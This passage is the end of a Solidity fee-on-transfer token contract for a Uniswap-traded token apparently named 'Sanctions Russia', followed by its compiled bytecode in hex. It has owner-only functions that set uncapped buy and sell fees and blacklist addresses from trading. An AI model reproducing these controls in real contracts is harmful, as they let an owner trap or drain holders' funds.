address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( ethAmt, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance.sub(balanceBefore); addLiquidity(liqAmt, amountETH.mul(15).div(100)); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(0), block.timestamp ); } function EnableTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external onlyOwner { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) {_transferNoTax(sender,recipient, amount);} else {_transferStandard(sender, recipient, amount);} } function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{ for (uint256 i = 0; i < recipients.length; i++) { _transferNoTax(msg.sender,recipients[i], amount[i]); } } function _transferStandard( address sender, address recipient, uint256 amount ) private { uint256 amountReceived = takeFees(sender, amount); _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); } function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function takeFees(address sender,uint256 amount) internal returns (uint256) { uint256 feeAmount = amount.mul(_taxFee).div(100); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } receive() external payable {} function transferOwnership(address newOwner) public override onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _isExcludedFromFee[owner()] = false; _transferOwnership(newOwner); _isExcludedFromFee[owner()] = true; } function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function setIsFeeExempt(address holder, bool exempt) public onlyOwner { _isExcludedFromFee[holder] = exempt; } function toggleTransferDelay() public onlyOwner { transferDelay = !transferDelay; } }
0x6080604052600436106101d05760003560e01c8063715018a6116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd801461065a578063dd62ed3e14610671578063ea1644d5146106ae578063f2fde38b146106d7576101d7565b806395d89b411461058c57806398a5c315146105b7578063a9059cbb146105e0578063bfd792841461061d576101d7565b80638da5cb5b116100d15780638da5cb5b146104f65780638eb59a5f146105215780638f9a55c01461053857806394ceecef14610563576101d7565b8063715018a61461048b57806374010ece146104a25780637d1db4a5146104cb576101d7565b80632fd689e31161016f578063672434821161013e57806367243482146103d35780636b999053146103fc5780636d8aa8f81461042557806370a082311461044e576101d7565b80632fd689e314610329578063313ce5671461035457806349bd5a5e1461037f578063658d4b7f146103aa576101d7565b80630b78f9c0116101ab5780630b78f9c01461026d5780631694505e1461029657806318160ddd146102c157806323b872dd146102ec576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe919061301c565b610700565b005b34801561021157600080fd5b5061021a610811565b6040516102279190613506565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612f5b565b61084e565b60405161026491906134d0565b60405180910390f35b34801561027957600080fd5b50610294600480360381019061028f91906130bf565b61086c565b005b3480156102a257600080fd5b506102ab6108fa565b6040516102b891906134eb565b60405180910390f35b3480156102cd57600080fd5b506102d6610920565b6040516102e391906136e8565b60405180910390f35b3480156102f857600080fd5b50610313600480360381019061030e9190612ec8565b61092a565b60405161032091906134d0565b60405180910390f35b34801561033557600080fd5b5061033e610a03565b60405161034b91906136e8565b60405180910390f35b34801561036057600080fd5b50610369610a09565b604051610376919061375d565b60405180910390f35b34801561038b57600080fd5b50610394610a12565b6040516103a19190613454565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc9190612f1b565b610a38565b005b3480156103df57600080fd5b506103fa60048036038101906103f59190612f9b565b610b0f565b005b34801561040857600080fd5b50610423600480360381019061041e9190612e2e565b610bff565b005b34801561043157600080fd5b5061044c60048036038101906104479190613065565b610cd6565b005b34801561045a57600080fd5b5061047560048036038101906104709190612e2e565b610d6f565b60405161048291906136e8565b60405180910390f35b34801561049757600080fd5b506104a0610db8565b005b3480156104ae57600080fd5b506104c960048036038101906104c49190613092565b610e40565b005b3480156104d757600080fd5b506104e0610ec6565b6040516104ed91906136e8565b60405180910390f35b34801561050257600080fd5b5061050b610ecc565b6040516105189190613454565b60405180910390f35b34801561052d57600080fd5b50610536610ef5565b005b34801561054457600080fd5b5061054d610f9d565b60405161055a91906136e8565b60405180910390f35b34801561056f57600080fd5b5061058a60048036038101906105859190613065565b610fa3565b005b34801561059857600080fd5b506105a161103c565b6040516105ae9190613506565b60405180910390f35b3480156105c357600080fd5b506105de60048036038101906105d99190613092565b611079565b005b3480156105ec57600080fd5b5061060760048036038101906106029190612f5b565b6110ff565b60405161061491906134d0565b60405180910390f35b34801561062957600080fd5b50610644600480360381019061063f9190612e2e565b61111d565b60405161065191906134d0565b60405180910390f35b34801561066657600080fd5b5061066f61113d565b005b34801561067d57600080fd5b5061069860048036038101906106939190612e88565b6111d2565b6040516106a591906136e8565b60405180910390f35b3480156106ba57600080fd5b506106d560048036038101906106d09190613092565b611259565b005b3480156106e357600080fd5b506106fe60048036038101906106f99190612e2e565b6112df565b005b610708611495565b73ffffffffffffffffffffffffffffffffffffffff16610726610ecc565b73ffffffffffffffffffffffffffffffffffffffff161461077c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077390613648565b60405180910390fd5b60005b815181101561080d576001600a60008484815181106107a1576107a0613adb565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061080590613a34565b91505061077f565b5050565b60606040518060400160405280601081526020017f53616e6374696f6e732052757373696100000000000000000000000000000000815250905090565b600061086261085b611495565b848461149d565b6001905092915050565b610874611495565b73ffffffffffffffffffffffffffffffffffffffff16610892610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146108e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108df90613648565b60405180910390fd5b81600681905550806007819055505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600554905090565b6000610937848484611668565b6109f884610943611495565b6109f385604051806060016040528060288152602001613f6360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109a9611495565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b61149d565b600190509392505050565b60105481565b60006009905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a40611495565b73ffffffffffffffffffffffffffffffffffffffff16610a5e610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610ab4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aab90613648565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610b17611495565b73ffffffffffffffffffffffffffffffffffffffff16610b35610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610b8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8290613648565b60405180910390fd5b60005b84849050811015610bf857610be433868684818110610bb057610baf613adb565b5b9050602002016020810190610bc59190612e2e565b858585818110610bd857610bd7613adb565b5b90506020020135612062565b508080610bf090613a34565b915050610b8e565b5050505050565b610c07611495565b73ffffffffffffffffffffffffffffffffffffffff16610c25610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7290613648565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610cde611495565b73ffffffffffffffffffffffffffffffffffffffff16610cfc610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610d52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4990613648565b60405180910390fd5b80600d60166101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610dc0611495565b73ffffffffffffffffffffffffffffffffffffffff16610dde610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610e34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2b90613648565b60405180910390fd5b610e3e6000612235565b565b610e48611495565b73ffffffffffffffffffffffffffffffffffffffff16610e66610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610ebc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb390613648565b60405180910390fd5b80600e8190555050565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610efd611495565b73ffffffffffffffffffffffffffffffffffffffff16610f1b610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610f71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6890613648565b60405180910390fd5b600d60179054906101000a900460ff1615600d60176101000a81548160ff021916908315150217905550565b600f5481565b610fab611495565b73ffffffffffffffffffffffffffffffffffffffff16610fc9610ecc565b73ffffffffffffffffffffffffffffffffffffffff161461101f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101690613648565b60405180910390fd5b80600d60146101000a81548160ff02191690831515021790555050565b60606040518060400160405280600781526020017f5352555353494100000000000000000000000000000000000000000000000000815250905090565b611081611495565b73ffffffffffffffffffffffffffffffffffffffff1661109f610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146110f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ec90613648565b60405180910390fd5b8060108190555050565b600061111361110c611495565b8484611668565b6001905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b611145611495565b73ffffffffffffffffffffffffffffffffffffffff16611163610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146111b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b090613648565b60405180910390fd5b60006111c430610d6f565b90506111cf816122f9565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611261611495565b73ffffffffffffffffffffffffffffffffffffffff1661127f610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146112d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cc90613648565b60405180910390fd5b80600f8190555050565b6112e7611495565b73ffffffffffffffffffffffffffffffffffffffff16611305610ecc565b73ffffffffffffffffffffffffffffffffffffffff161461135b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135290613648565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c290613568565b60405180910390fd5b6000600460006113d9610ecc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061143381612235565b600160046000611441610ecc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561150d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611504906136c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490613588565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161165b91906136e8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cf90613688565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f90613528565b60405180910390fd5b6000811161178b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178290613668565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561182f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c8757600d60149054906101000a900460ff16611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a906135c8565b60405180910390fd5b600e548111156118c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bf90613548565b60405180910390fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561196c5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a2906135a8565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611baa57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a695750600d60179054906101000a900460ff165b15611b52574260b4600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abb919061381e565b108015611b1257504260b4600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b10919061381e565b105b611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4890613608565b60405180910390fd5b5b600f5481611b5f84610d6f565b611b69919061381e565b10611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba0906136a8565b60405180910390fd5b5b6000611bb530610d6f565b9050600060105482101590506010548210611bd05760105491505b808015611bea5750600d60159054906101000a900460ff16155b8015611c445750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5c5750600d60169054906101000a900460ff165b15611c8457611c6a826122f9565b60004790506000811115611c8257611c814761260c565b5b505b50505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d2e5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611de15750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611de05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611def5760009050611f64565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e9a5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ea9576006546008819055505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f545750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f63576007546008819055505b5b42600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ff884848484612678565b50505050565b6000838311158290612046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203d9190613506565b60405180910390fd5b506000838561205591906138ff565b9050809150509392505050565b60006120ed826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161222291906136e8565b60405180910390a3600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001600d60156101000a81548160ff021916908315150217905550600061233d606461232f6055856126fe90919063ffffffff16565b61277990919063ffffffff16565b90506000818361234d91906138ff565b905060004790506000600267ffffffffffffffff81111561237157612370613b0a565b5b60405190808252806020026020018201604052801561239f5781602001602082028036833780820191505090505b50905030816000815181106123b7576123b6613adb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561245957600080fd5b505afa15801561246d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124919190612e5b565b816001815181106124a5576124a4613adb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061250c30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168761149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b8152600401612570959493929190613703565b600060405180830381600087803b15801561258a57600080fd5b505af115801561259e573d6000803e3d6000fd5b5050505060006125b783476127c390919063ffffffff16565b90506125e9846125e460646125d6600f866126fe90919063ffffffff16565b61277990919063ffffffff16565b61280d565b50505050506000600d60156101000a81548160ff02191690831515021790555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612674573d6000803e3d6000fd5b5050565b8061268e57612688848484612062565b5061269a565b6126998484846128fb565b5b50505050565b60008082846126af919061381e565b9050838110156126f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126eb906135e8565b60405180910390fd5b8091505092915050565b6000808314156127115760009050612773565b6000828461271f91906138a5565b905082848261272e9190613874565b1461276e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276590613628565b60405180910390fd5b809150505b92915050565b60006127bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ad5565b905092915050565b600061280583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ffe565b905092915050565b61283a30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806000426040518863ffffffff1660e01b81526004016128a29695949392919061346f565b6060604051808303818588803b1580156128bb57600080fd5b505af11580156128cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906128f491906130ff565b5050505050565b60006129078483612b38565b9050612992826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a2781600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ac791906136e8565b60405180910390a350505050565b60008083118290612b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b139190613506565b60405180910390fd5b5060008385612b2b9190613874565b9050809150509392505050565b600080612b636064612b55600854866126fe90919063ffffffff16565b61277990919063ffffffff16565b9050612bb781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612c5791906136e8565b60405180910390a3612c7281846127c390919063ffffffff16565b91505092915050565b6000612c8e612c898461379d565b613778565b90508083825260208201905082856020860282011115612cb157612cb0613b43565b5b60005b85811015612ce15781612cc78882612ceb565b845260208401935060208301925050600181019050612cb4565b5050509392505050565b600081359050612cfa81613f1d565b92915050565b600081519050612d0f81613f1d565b92915050565b60008083601f840112612d2b57612d2a613b3e565b5b8235905067ffffffffffffffff811115612d4857612d47613b39565b5b602083019150836020820283011115612d6457612d63613b43565b5b9250929050565b600082601f830112612d8057612d7f613b3e565b5b8135612d90848260208601612c7b565b91505092915050565b60008083601f840112612daf57612dae613b3e565b5b8235905067ffffffffffffffff811115612dcc57612dcb613b39565b5b602083019150836020820283011115612de857612de7613b43565b5b9250929050565b600081359050612dfe81613f34565b92915050565b600081359050612e1381613f4b565b92915050565b600081519050612e2881613f4b565b92915050565b600060208284031215612e4457612e43613b4d565b5b6000612e5284828501612ceb565b91505092915050565b600060208284031215612e7157612e70613b4d565b5b6000612e7f84828501612d00565b91505092915050565b60008060408385031215612e9f57612e9e613b4d565b5b6000612ead85828601612ceb565b9250506020612ebe85828601612ceb565b9150509250929050565b600080600060608486031215612ee157612ee0613b4d565b5b6000612eef86828701612ceb565b9350506020612f0086828701612ceb565b9250506040612f1186828701612e04565b9150509250925092565b60008060408385031215612f3257612f31613b4d565b5b6000612f4085828601612ceb565b9250506020612f5185828601612def565b9150509250929050565b60008060408385031215612f7257612f71613b4d565b5b6000612f8085828601612ceb565b9250506020612f9185828601612e04565b9150509250929050565b60008060008060408587031215612fb557612fb4613b4d565b5b600085013567ffffffffffffffff811115612fd357612fd2613b48565b5b612fdf87828801612d15565b9450945050602085013567ffffffffffffffff81111561300257613001613b48565b5b61300e87828801612d99565b925092505092959194509250565b60006020828403121561303257613031613b4d565b5b600082013567ffffffffffffffff8111156130505761304f613b48565b5b61305c84828501612d6b565b91505092915050565b60006020828403121561307b5761307a613b4d565b5b600061308984828501612def565b91505092915050565b6000602082840312156130a8576130a7613b4d565b5b60006130b684828501612e04565b91505092915050565b600080604083850312156130d6576130d5613b4d565b5b60006130e485828601612e04565b92505060206130f585828601612e04565b9150509250929050565b60008060006060848603121561311857613117613b4d565b5b600061312686828701612e19565b935050602061313786828701612e19565b925050604061314886828701612e19565b9150509250925092565b600061315e838361316a565b60208301905092915050565b61317381613933565b82525050565b61318281613933565b82525050565b6000613193826137d9565b61319d81856137fc565b93506131a8836137c9565b8060005b838110156131d95781516131c08882613152565b97506131cb836137ef565b9250506001810190506131ac565b5085935050505092915050565b6131ef81613945565b82525050565b6131fe81613988565b82525050565b61320d8161399a565b82525050565b600061321e826137e4565b613228818561380d565b93506132388185602086016139d0565b61324181613b52565b840191505092915050565b600061325960238361380d565b915061326482613b63565b604082019050919050565b600061327c601c8361380d565b915061328782613bb2565b602082019050919050565b600061329f60268361380d565b91506132aa82613bdb565b604082019050919050565b60006132c260228361380d565b91506132cd82613c2a565b604082019050919050565b60006132e560238361380d565b91506132f082613c79565b604082019050919050565b6000613308601e8361380d565b915061331382613cc8565b602082019050919050565b600061332b601b8361380d565b915061333682613cf1565b602082019050919050565b600061334e60268361380d565b915061335982613d1a565b604082019050919050565b600061337160218361380d565b915061337c82613d69565b604082019050919050565b600061339460208361380d565b915061339f82613db8565b602082019050919050565b60006133b760298361380d565b91506133c282613de1565b604082019050919050565b60006133da60258361380d565b91506133e582613e30565b604082019050919050565b60006133fd60238361380d565b915061340882613e7f565b604082019050919050565b600061342060248361380d565b915061342b82613ece565b604082019050919050565b61343f81613971565b82525050565b61344e8161397b565b82525050565b60006020820190506134696000830184613179565b92915050565b600060c0820190506134846000830189613179565b6134916020830188613436565b61349e6040830187613204565b6134ab6060830186613204565b6134b86080830185613179565b6134c560a0830184613436565b979650505050505050565b60006020820190506134e560008301846131e6565b92915050565b600060208201905061350060008301846131f5565b92915050565b600060208201905081810360008301526135208184613213565b905092915050565b600060208201905081810360008301526135418161324c565b9050919050565b600060208201905081810360008301526135618161326f565b9050919050565b6000602082019050818103600083015261358181613292565b9050919050565b600060208201905081810360008301526135a1816132b5565b9050919050565b600060208201905081810360008301526135c1816132d8565b9050919050565b600060208201905081810360008301526135e1816132fb565b9050919050565b600060208201905081810360008301526136018161331e565b9050919050565b6000602082019050818103600083015261362181613341565b9050919050565b6000602082019050818103600083015261364181613364565b9050919050565b6000602082019050818103600083015261366181613387565b9050919050565b60006020820190508181036000830152613681816133aa565b9050919050565b600060208201905081810360008301526136a1816133cd565b9050919050565b600060208201905081810360008301526136c1816133f0565b9050919050565b600060208201905081810360008301526136e181613413565b9050919050565b60006020820190506136fd6000830184613436565b92915050565b600060a0820190506137186000830188613436565b6137256020830187613204565b81810360408301526137378186613188565b90506137466060830185613179565b6137536080830184613436565b9695505050505050565b60006020820190506137726000830184613445565b92915050565b6000613782613793565b905061378e8282613a03565b919050565b6000604051905090565b600067ffffffffffffffff8211156137b8576137b7613b0a565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061382982613971565b915061383483613971565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561386957613868613a7d565b5b828201905092915050565b600061387f82613971565b915061388a83613971565b92508261389a57613899613aac565b5b828204905092915050565b60006138b082613971565b91506138bb83613971565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138f4576138f3613a7d565b5b828202905092915050565b600061390a82613971565b915061391583613971565b92508282101561392857613927613a7d565b5b828203905092915050565b600061393e82613951565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613993826139ac565b9050919050565b60006139a582613971565b9050919050565b60006139b7826139be565b9050919050565b60006139c982613951565b9050919050565b60005b838110156139ee5780820151818401526020810190506139d3565b838111156139fd576000848401525b50505050565b613a0c82613b52565b810181811067ffffffffffffffff82111715613a2b57613a2a613b0a565b5b80604052505050565b6000613a3f82613971565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a7257613a71613a7d